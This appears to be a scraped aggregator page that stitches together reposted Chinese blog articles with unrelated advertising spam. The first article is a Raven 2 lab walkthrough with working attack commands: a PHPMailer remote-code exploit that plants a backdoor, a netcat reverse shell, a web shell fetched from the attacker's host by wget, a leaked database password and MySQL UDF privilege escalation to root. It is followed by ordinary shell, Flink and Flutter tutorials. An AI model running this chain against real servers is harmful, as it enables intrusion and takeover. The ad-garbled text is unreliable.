※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

Raven 2 靶機滲透_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

R@v3nSecurity

然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

shell script的簡單使用_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

shell script的簡單介紹

shell變量

1.命名規則

  • 命名只能使用英文字母,数字和下劃線,首個字符不能以数字開頭
  • 中間不能有空格,可以使用下劃線(_)
  • 不能使用標點符號。
  • 不能使用bash里的關鍵字

2.定義變量:name=value
3.使用變量:$name
4.只讀變量:readonly name
5.刪除變量:uset name
6.變量類型

  • 局部變量:當前shell有效
  • 環境變量:所有的應用程序有效

shell字符串

  1. 雙引號:可解析變量,可以出現轉義字符
  2. 單引號:不解析變量,原樣輸出
  3. 字符串拼接:
name="hello"
# 使用雙引號拼接
greeting="hello, "$name" !"
greeting_1="hello, $name} !"
echo $greeting  $greeting_1
# 使用單引號拼接
greeting_2='hello, '$name' !'
greeting_3='hello, ${name} !'
echo $greeting_2  $greeting_3

輸出結果為:

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

hello, hello ! hello, hello} !
hello, hello ! hello, ${name} !
  1. 獲取字符串長度
string="abcd"
echo ${#string} #輸出 4
  1. 提取子字符串
string="hello world"
echo ${string:1:4}#輸出 ello
# 字符串下標從0開始
  1. 查找子字符串
string="hello world"
echo `expr index $string e`#輸出2

7.反引號和$()一樣,裏面的語句當作命令執行

shell數組

  1. 數組定義:arrname=(value0 value1 value3)
  2. 數組讀取:${arrname[]},中括號內為數組下標,從0開始
  3. 獲取數組長度:length=${#arrname[@]},*號也可以
  4. 或許數組單個元素的長度:lengthn=${#arrname[n]},n為數組下標

shell註釋

  1. 單行註釋:#
  2. 多行註釋:<<EOF以EOF結束,EOF可以是任意字母

shell傳遞參數

  1. 向腳本傳參
  • $0:執行的文件名
  • $1:為第一個參數
  • $2:為第二個參數 以此類推
  1. 特殊參數
  • $#:傳遞到腳本的參數個數
  • $$:腳本運行的當前進程ID
  • $!:後台運行的最後一個進程ID
  • $?:回傳碼,显示最後命令的退出狀態
  • $@,$*:显示所有傳遞的參數

shell運算符

  1. 算數運算符

假設變量a=10,b=20

運算符 說明 舉例
+ 加法 expr $a + $b 結果為 30。
減法 expr $a - $b 結果為 -10。
* 乘法 expr $a \* $b 結果為 200。
/ 除法 expr $b / $a 結果為 2。
% 取余 expr $b % $a 結果為 0。
= 賦值 a=$b 將把變量 b 的值賦給 a。
== 相等 用於比較兩個数字,相同則返回 true。 [ $a == $b ] 返回 false。
!= 不相等 用於比較兩個数字,不相同則返回 true。 [ $a != $b ] 返回 true。
  1. 關係運算符
運算符 說明 舉例
-eq 檢測兩個數是否相等,相等返回 true。 [ $a -eq $b ] 返回 false。
-ne 檢測兩個數是否不相等,不相等返回 true。 [ $a -ne $b ] 返回 true。
-gt 檢測左邊的數是否大於右邊的,如果是,則返回 true。 [ $a -gt $b ] 返回 false。
-lt 檢測左邊的數是否小於右邊的,如果是,則返回 true。 [ $a -lt $b ] 返回 true。
-ge 檢測左邊的數是否大於等於右邊的,如果是,則返回 true。 [ $a -ge $b ] 返回 false。
-le 檢測左邊的數是否小於等於右邊的,如果是,則返回 true。 [ $a -le $b ] 返回 true。
  1. 邏輯運算符
運算符 說明 舉例
&& 邏輯的 AND [[ $a -lt 100 && $b -gt 100 ]] 返回 false
|| 邏輯的 OR [[ $a -lt 100 || $b -gt 100 ]] 返回 true
  1. 布爾運算符
運算符 說明 舉例
! 非運算,表達式為 true 則返回 false,否則返回 true。 [ ! false ] 返回 true。
-o 或運算,有一個表達式為 true 則返回 true。 [ $a -lt 20 -o $b -gt 100 ] 返回 true。
-a 與運算,兩個表達式都為 true 才返回 true。 [ $a -lt 20 -a $b -gt 100 ] 返回 false
  1. 字符串運算符
    假設變量a=hello,b=world
運算符 說明 舉例
= 檢測兩個字符串是否相等,相等返回 true。 [ $a = $b ] 返回 false。
!= 檢測兩個字符串是否相等,不相等返回 true。 [ $a != $b ] 返回 true。
-z 檢測字符串長度是否為0,為0返回 true。 [ -z $a ] 返回 false。
-n 檢測字符串長度是否不為 0,不為 0 返回 true。 [ -n “$a” ] 返回 true。
$ 檢測字符串是否為空,不為空返回 true。 [ $a ] 返回 true
  1. 文件測試運算符
操作符 說明 舉例
-b file 檢測文件是否是塊設備文件,如果是,則返回 true。 [ -b $file ] 返回 false。
-c file 檢測文件是否是字符設備文件,如果是,則返回 true。 [ -c $file ] 返回 false。
-d file 檢測文件是否是目錄,如果是,則返回 true。 [ -d $file ] 返回 false。
-f file 檢測文件是否是普通文件(既不是目錄,也不是設備文件),如果是,則返回 true。 [ -f $file ] 返回 true。
-g file 檢測文件是否設置了 SGID 位,如果是,則返回 true。 [ -g $file ] 返回 false。
-k file 檢測文件是否設置了粘着位(Sticky Bit),如果是,則返回 true。 [ -k $file ] 返回 false。
-p file 檢測文件是否是有管道,如果是,則返回 true。 [ -p $file ] 返回 false。
-u file 檢測文件是否設置了 SUID 位,如果是,則返回 true。 [ -u $file ] 返回 false。
-r file 檢測文件是否可讀,如果是,則返回 true。 [ -r $file ] 返回 true。
-w file 檢測文件是否可寫,如果是,則返回 true。 [ -w $file ] 返回 true。
-x file 檢測文件是否可執行,如果是,則返回 true。 [ -x $file ] 返回 true。
-s file 檢測文件是否為空(文件大小是否大於0),不為空返回 true。 [ -s $file ] 返回 true。
-e file 檢測文件(包括目錄)是否存在,如果是,則返回 true。 [ -e $file ] 返回 true

流程控制

  1. if 語句語法格式:
if condition
then
    command1 
    command2
    ...
    commandN 
fi
  1. if else 語法格式:
if condition
then
    command1 
    command2
    ...
    commandN
else
    command
fi
  1. if else-if else 語法格式:
if condition1
then
    command1
elif condition2 
then 
    command2
else
    commandN
fi

for循環一般格式為:

for var in item1 item2 ... itemN
do
    command1
    command2
    ...
    commandN
done
  1. while 循環一般格式
while condition
do
    command
done
  1. until 循環一般格式
until condition
do
    command
done
  1. case in格式
case 值 in
模式1)
    command1
    command2
    ...
    commandN
    ;;
模式2)
    command1
    command2
    ...
    commandN
    ;;
esac
  1. 跳出循環:
  • break跳出所有循環
  • continue跳出當前循環

函數定義

輸入輸出重定向

  1. 文件描述符
  • 標準輸入 0
  • 標準輸出 1
  • 標準錯誤輸出 2
  1. stdin<file 標準輸入重定向
  2. stdout>file 標準輸出重定向
  3. stderr>>file 標準錯誤輸出重定向,以追加的方式

shell文件包含

  1. .filename
  2. source filename

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

[源碼解析]為什麼mapPartition比map更高效_貨運

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

[源碼解析]為什麼mapPartition比map更高效

目錄

  • [源碼解析]為什麼mapPartition比map更高效
    • 0x00 摘要
    • 0x01 map vs mapPartition
      • 1.1 map
      • 1.2 mapPartition
      • 1.3 異同
    • 0x02 代碼
    • 0x03 Flink的傳輸機制
      • 3.1 傳輸機制概述
      • 3.2 遠程通信
      • 3.3 TaskManager進程內傳輸
      • 3.4 源碼分析
    • 0x04 runtime
      • 4.1 Driver
      • 4.2 MapDriver
      • 4.3 MapPartitionDriver
      • 4.4 效率區別
    • 0x05 優化和ChainedMapDriver
    • 0x06 總結
    • 0x07 參考

0x00 摘要

自從函數式編程和響應式編程逐漸進入到程序員的生活之後,map函數作為其中一個重要算子也為大家所熟知,無論是前端web開發,手機開發還是後端服務器開發,都很難逃過它的手心。而在大數據領域中又往往可以見到另外一個算子mapPartition的身影。在性能調優中,經常會被建議盡量用 mappartition 操作去替代 map 操作。本文將從Flink源碼和示例入手,為大家解析為什麼mapPartition比map更高效。

0x01 map vs mapPartition

1.1 map

Map的作用是將數據流上每個元素轉換為另外的元素,比如data.map { x => x.toInt }。它把數組流中的每一個值,使用所提供的函數執行一遍,一一對應。得到與元素個數相同的數組流。然後返回這個新數據流。

1.2 mapPartition

MapPartition的作用是單個函數調用并行分區,比如data.mapPartition { in => in map { (_, 1) } }。該函數將分區作為“迭代器”,可以產生任意數量的結果。每個分區中的元素數量取決於并行度和以前的operations。

1.3 異同

其實,兩者完成的業務操作是一樣的,本質上都是將數據流上每個元素轉換為另外的元素。

區別主要在兩點。

從邏輯實現來講

  • map邏輯實現簡單,就是在函數中簡單一一轉換,map函數的輸入和輸入都是單個元素。
  • mapPartition相對複雜,函數的輸入有兩個,一般格式為 void mapPartition(Iterable<T> values, Collector<O> out) 。其中values是需要映射轉換的所有記錄,out是用來發送結果的collector。具體返回什麼,如何操作out來返回結果,則完全依賴於業務邏輯。

從調用次數來說

  • 數據有多少個元素,map就會被調用多少次。
  • 數據有多少分區,mapPartition就會被調用多少次。

為什麼MapPartition有這麼高效呢,下面我們將具體論證。

0x02 代碼

首先我們給出示例代碼,從下文中我們可以看出,map就是簡單的轉換,而mapPartition則不但要做轉換,程序員還需要手動操作如何返回結果:

public class IteratePi {

    public static void main(String[] args) throws Exception {
        final ExecutionEnvironment env=ExecutionEnvironment.getExecutionEnvironment();
        //迭代次數
        int iterativeNum=10;
        DataSet<Integer> wordList = env.fromElements(1, 2, 3);
      
        IterativeDataSet<Integer> iterativeDataSet=wordList.iterate(iterativeNum);
        DataSet<Integer> mapResult=iterativeDataSet
          			.map(new MapFunction<Integer, Integer>() {
            @Override
            public Integer map(Integer value) throws Exception {
                value += 1;
                return value;
            }
        });
        //迭代結束的條件
        DataSet<Integer> result=iterativeDataSet.closeWith(mapResult);
        result.print();

        MapPartitionOperator<Integer, Integer> mapPartitionResult = iterativeDataSet
                .mapPartition(new MapPartitionFunction<Integer, Integer>() {
            @Override
            public void mapPartition(Iterable<Integer> values, Collector<Integer> out) {
                for (Integer value : values) {
                    // 這裏需要程序員自行決定如何返回,即調用collect操作。
                    out.collect(value + 2);
                }
            }                                                                                                                           					}
        );
        //迭代結束的條件
        DataSet<Integer> partitionResult=iterativeDataSet.closeWith(mapPartitionResult);
        partitionResult.print();
    }
}

0x03 Flink的傳輸機制

世界上很少有沒有來由的愛,也少見免費的午餐。mapPartition之所以高效,其所依賴的基礎就是Flink的傳輸機制。所以我們下面就講解下為什麼。

大家都知道,Spark是用微批處理來模擬流處理,就是說,spark還是一批一批的傳輸和處理數據,所以我們就能理解mapPartition的機制就是基於這一批數據做統一處理。這樣確實可以高效。

但是Flink號稱是純流,即Flink是每來一個輸入record,就進行一次業務處理,然後返回給下游算子。

有的兄弟就會產生疑問:每次都只是處理單個記錄,怎麼能夠讓mapPartition做到批次處理呢。其實這就是Flink的微妙之處:即Flink確實是每次都處理一個輸入record,但是在上下游傳輸時候,Flink還是把records累積起來做批量傳輸的。也可以這麼理解:從傳輸的角度講,Flink是微批處理的

3.1 傳輸機制概述

Flink 的網絡棧是組成 flink-runtime 模塊的核心組件之一,也是 Flink 作業的核心部分。所有來自 TaskManager 的工作單元(子任務)都通過它來互相連接。流式傳輸數據流都要經過網絡棧,所以它對 Flink 作業的性能表現(包括吞吐量和延遲指標)至關重要。與通過 Akka 使用 RPC 的 TaskManager 和 JobManager 之間的協調通道相比,TaskManager 之間的網絡棧依賴的是更底層的,基於 Netty 的 API。

3.2 遠程通信

一個運行的application的tasks在持續交換數據。TaskManager負責做數據傳輸。不同任務之間的每個(遠程)網絡連接將在 Flink 的網絡棧中獲得自己的 TCP 通道。但是如果同一任務的不同子任務被安排到了同一個 TaskManager,則它們與同一個 TaskManager 的網絡連接將被多路復用,並共享一個 TCP 信道以減少資源佔用。

每個TaskManager有一組網絡緩衝池(默認每個buffer是32KB),用於發送與接受數據。如發送端和接收端位於不同的TaskManager進程中,則它們需要通過操作系統的網絡棧進行交流。流應用需要以管道的模式進行數據交換,也就是說,每對TaskManager會維持一個永久的TCP連接用於做數據交換。在shuffle連接模式下(多個sender與多個receiver),每個sender task需要向每個receiver task發送數據,此時TaskManager需要為每個receiver task都分配一個緩衝區。

一個記錄被創建並傳遞之後(例如通過 Collector.collect()),它會被遞交到RecordWriter,其將來自 Java 對象的記錄序列化為一個字節序列,後者最終成為網絡緩存。RecordWriter 首先使用SpanningRecordSerializer將記錄序列化為一個靈活的堆上字節數組。然後它嘗試將這些字節寫入目標網絡通道的關聯網絡緩存。

因為如果逐個發送會降低每個記錄的開銷並帶來更高的吞吐量,所以為了取得高吞吐量,TaskManager的網絡組件首先從緩衝buffer中收集records,然後再發送。也就是說,records並不是一個接一個的發送,而是先放入緩衝,然後再以batch的形式發送。這個技術可以高效使用網絡資源,並達到高吞吐。類似於網絡或磁盤 I/O 協議中使用的緩衝技術。

接收方網絡棧(netty)將接收到的緩存寫入適當的輸入通道。最後(流式)任務的線程從這些隊列中讀取並嘗試在RecordReader的幫助下,通過Deserializer將積累的數據反序列化為 Java 對象。

3.3 TaskManager進程內傳輸

若sender與receiver任務都運行在同一個TaskManager進程,則sender任務會將發送的條目做序列化,並存入一個字節緩衝。然後將緩衝放入一個隊列,直到隊列被填滿。

Receiver任務從隊列中獲取緩衝,並反序列化輸入的條目。所以,在同一個TaskManager內,任務之間的數據傳輸並不經過網絡交互。

在同一個TaskManager進程內,也是批量傳輸

3.4 源碼分析

我們基於Flink優化的結果進行分析驗證,看看Flink是不是把記錄寫入到buffer中,這種情況下運行的是CountingCollector和ChainedMapDriver。

copyFromSerializerToTargetChannel:153, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:116, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:60, ChannelSelectorRecordWriter (org.apache.flink.runtime.io.network.api.writer)
collect:65, OutputCollector (org.apache.flink.runtime.operators.shipping)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

當執行完用戶定義的map函數之後,系統運行在 ChainedMapDriver.collect 函數。

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

public void collect(IT record) {
    this.outputCollector.collect(this.mapper.map(record));// mapper就是用戶代碼
}

然後調用到了CountingCollector.collect

public void collect(OUT record) {
		this.collector.collect(record);// record就是用戶轉換后的記錄
}

OutputCollector.collect函數會把記錄發送給所有的writers。

this.delegate.setInstance(record);// 先把record設置到SerializationDelegate中
for (RecordWriter<SerializationDelegate<T>> writer : writers) {  // 所有的writer
   writer.emit(this.delegate); // 發送record
}

RecordWriter負責把數據序列化,然後寫入到緩存中。它有兩個實現類:

  • BroadcastRecordWriter: 維護了多個下游channel,發送數據到下游所有的channel中。
  • ChannelSelectorRecordWriter: 通過channelSelector對象判斷數據需要發往下游的哪個channel。我們用的正是這個RecordWriter

這裏我們分析下ChannelSelectorRecordWriteremit方法:

public void emit(T record) throws IOException, InterruptedException {
   emit(record, channelSelector.selectChannel(record));
}

這裏使用了channelSelector.selectChannel方法。該方法為record尋找到對應下游channel id。

public class OutputEmitter<T> implements ChannelSelector<SerializationDelegate<T>> {
	public final int selectChannel(SerializationDelegate<T> record) {
		switch (strategy) {
		case FORWARD:
			return forward(); // 我們代碼用到了這種情況。這裏 return 0;
    ......
		}
	}
}

接下來我們又回到了父類RecordWriter.emit

protected void emit(T record, int targetChannel) throws IOException, InterruptedException {
   serializer.serializeRecord(record);
   // Make sure we don't hold onto the large intermediate serialization buffer for too long
   if (copyFromSerializerToTargetChannel(targetChannel)) {
      serializer.prune();
   }
}

關鍵的邏輯在於copyFromSerializerToTargetChannel此方法從序列化器中複製數據到目標channel,我們可以看出來,每條記錄都是寫入到buffer中

protected boolean copyFromSerializerToTargetChannel(int targetChannel) throws IOException, InterruptedException {
   // We should reset the initial position of the intermediate serialization buffer before
   // copying, so the serialization results can be copied to multiple target buffers.
   // 此處Serializer為SpanningRecordSerializer
   // reset方法將serializer內部的databuffer position重置為0
   serializer.reset();

   boolean pruneTriggered = false;
    // 獲取目標channel的bufferBuilder
    // bufferBuilder內維護了MemorySegment,即內存片段
    // Flink的內存管理依賴MemorySegment,可實現堆內堆外內存的管理
    // RecordWriter內有一個bufferBuilder數組,長度和下游channel數目相同
    // 該數組以channel ID為下標,存儲和channel對應的bufferBuilder
    // 如果對應channel的bufferBuilder尚未創建,調用requestNewBufferBuilder申請一個新的bufferBuilder  
   BufferBuilder bufferBuilder = getBufferBuilder(targetChannel);
    // 複製serializer的數據到bufferBuilder中
   SerializationResult result = serializer.copyToBufferBuilder(bufferBuilder);
    // 循環直到result完全被寫入到buffer
    // 一條數據可能會被寫入到多個緩存中
    // 如果緩存不夠用,會申請新的緩存
    // 數據完全寫入完畢之時,當前正在操作的緩存是沒有寫滿的
    // 因此返回true,表明需要壓縮該buffer的空間  
   while (result.isFullBuffer()) {
      finishBufferBuilder(bufferBuilder);

      // If this was a full record, we are done. Not breaking out of the loop at this point
      // will lead to another buffer request before breaking out (that would not be a
      // problem per se, but it can lead to stalls in the pipeline).
      if (result.isFullRecord()) {
         pruneTriggered = true;
         emptyCurrentBufferBuilder(targetChannel);
         break;
      }

      bufferBuilder = requestNewBufferBuilder(targetChannel);
      result = serializer.copyToBufferBuilder(bufferBuilder);
   }
   checkState(!serializer.hasSerializedData(), "All data should be written at once");

   // 如果buffer超時時間為0,需要flush目標channel的數據
   if (flushAlways) {
      flushTargetPartition(targetChannel);
   }
   return pruneTriggered;
}

0x04 runtime

4.1 Driver

Driver是Flink runtime的一個重要概念,是在一個task中運行的用戶業務邏輯組件,具體實現了批量操作代碼。其內部API包括初始化,清除,運行,取消等邏輯。

public interface Driver<S extends Function, OT> {
   ......
   void setup(TaskContext<S, OT> context);
   void run() throws Exception;
   void cleanup() throws Exception;
   void cancel() throws Exception;
}

具體在 org.apache.flink.runtime.operators 目錄下,我們能夠看到各種Driver的實現,基本的算子都有自己的Driver。

......
CoGroupDriver.java
FlatMapDriver.java
FullOuterJoinDriver.java
GroupReduceCombineDriver.java
GroupReduceDriver.java
JoinDriver.java
LeftOuterJoinDriver.java
MapDriver.java
MapPartitionDriver.java
......

4.2 MapDriver

map算子對應的就是MapDriver。

結合上節我們知道,上游數據是通過batch方式批量傳入的。所以,在run函數會遍歷輸入,每次取出一個record,然後調用用戶自定義函數function.map對這個record做map操作。

public class MapDriver<IT, OT> implements Driver<MapFunction<IT, OT>, OT> {

   @Override
   public void run() throws Exception {
      final MutableObjectIterator<IT> input = this.taskContext.getInput(0);
      .....
      else {
         IT record = null;
        
         // runtime主動進行循環,這樣導致大量函數調用
         while (this.running && ((record = input.next()) != null)) {
            numRecordsIn.inc();
            output.collect(function.map(record)); // function是用戶函數
         }
      }
   }
}

4.3 MapPartitionDriver

MapPartitionDriver是mapPartition的具體組件。系統會把得到的批量數據inIter一次性的都傳給用戶自定義函數,由用戶代碼來進行遍歷操作

public class MapPartitionDriver<IT, OT> implements Driver<MapPartitionFunction<IT, OT>, OT> {
   @Override
   public void run() throws Exception {
     
		final MutableObjectIterator<IT> input = new CountingMutableObjectIterator<>(this.taskContext.<IT>getInput(0), numRecordsIn);     
      ......
      } else {
         final NonReusingMutableToRegularIteratorWrapper<IT> inIter = new NonReusingMutableToRegularIteratorWrapper<IT>(input, this.taskContext.<IT>getInputSerializer(0).getSerializer());

         // runtime不參与循環,這樣可以減少函數調用
         function.mapPartition(inIter, output);
      }
   }
}

4.4 效率區別

我們能夠看到map和mapPartition的input都是MutableObjectIterator input類型, 說明兩者的輸入一致。只不過map是在Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。具體mapPartition的 效率提高體現在如下方面 :

  1. 假設一共有60個數據需要轉換,map會在runtime中調用用戶函數60次。
  2. runtime把數據分成6個partition操作,則mapPartition在runtime中會調用用戶函數6次,在每個用戶函數中分別循環10次。對於runtime來說,map操作會多出54次用戶函數調用。
  3. 如果用戶業務中需要頻繁創建額外的對象或者外部資源操作,mapPartition的優勢更可以體現。 例如將數據寫入Mysql, 那麼map需要為每個元素創建一個數據庫連接,而mapPartition為每個partition創建一個鏈接。

假設有上億個數據需要map,這資源佔用和運行速度效率差別會相當大。

0x05 優化和ChainedMapDriver

之前提到了優化,這裏我們再詳細深入下如何優化map算子。

Flink有一個關鍵的優化技術稱為任務鏈,用於(在某些情況下)減少本地通信的過載。為了滿足任務鏈的條件,至少兩個以上的operator必須配置為同一併行度,並且使用本地向前的(local forwad)方式連接。任務鏈可以被認為是一種管道。

當管道以任務鏈的方式執行時候,Operators的函數被融合成單個任務,並由一個單獨的線程執行。一個function產生的records,通過使用一個簡單的方法調用,被遞交給下一個function。所以這裡在方法之間的records傳遞中,基本沒有序列化以及通信消耗

針對優化后的Operator Chain,runtime對應的Driver則是ChainedMapDriver。這是通過 MAP(MapDriver.class, ChainedMapDriver.class, PIPELINED, 0), 映射得到的。

我們可以看到,因為是任務鏈,所以每個record是直接在管道中流淌 ,ChainedMapDriver連循環都省略了,直接map轉換后丟給下游去也

public class ChainedMapDriver<IT, OT> extends ChainedDriver<IT, OT> {

   private MapFunction<IT, OT> mapper; // 用戶函數

   @Override
   public void collect(IT record) {
      try {
         this.numRecordsIn.inc();
         this.outputCollector.collect(this.mapper.map(record));
      } catch (Exception ex) {
         throw new ExceptionInChainedStubException(this.taskName, ex);
      }
   }
}

// 這時的調用棧如下
map:23, UserFunc$1 (com.alibaba.alink)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

0x06 總結

map和mapPartition實現的基礎是Flink的數據傳輸機制 :Flink確實是每次都處理一個輸入record,但是在上下游之間傳輸時候,Flink還是把records累積起來做批量傳輸。即可以認為從數據傳輸模型角度講,Flink是微批次的。

對於數據流轉換,因為是批量傳輸,所以對於積累的records,map是在runtime Driver代碼中進行循環,mapPartition在用戶代碼中進行循環。

map的函數調用次數要遠高於mapPartition。如果在用戶函數中涉及到頻繁創建額外的對象或者外部資源操作,則mapPartition性能遠遠高出。

如果沒有connection之類的操作,則通常性能差別並不大,通常不會成為瓶頸,也沒有想象的那麼嚴重。

0x07 參考

深入了解 Flink 網絡棧 ——A Deep-Dive into Flink’s Network Stack

Flink架構(二)- Flink中的數據傳輸

Flink 源碼之節點間通信

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

Flutter 動畫鼻祖之CustomPaint_包裝設計

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

老孟導讀:CustomPaint可以稱之為動畫鼻祖,它可以實現任何酷炫的動畫和效果。CustomPaint本身沒有動畫屬性,僅僅是繪製屬性,一般情況下,CustomPaint會和動畫控制配合使用,達到理想的效果。

基本用法

CustomPaint的用法非常簡單,如下:

CustomPaint(
  painter: MyCustomPainter(),
)

MyCustomPainter定義如下:

class MyCustomPainter extends CustomPainter {
  @override
  void paint(Canvas canvas, Size size) {}

  @override
  bool shouldRepaint(MyCustomPainter oldDelegate) {
    return this != oldDelegate;
  }
}

上面的MyCustomPainter為了看起來清晰,什麼也沒有做,通常情況下,在paint方法內繪製自定義的效果。shouldRepaint方法通常在當前實例和舊實例屬性不一致時返回true。

paint通過canvas繪製,size為當前控件的大小,下面看看canvas的方法。

繪製點

Paint _paint = Paint()
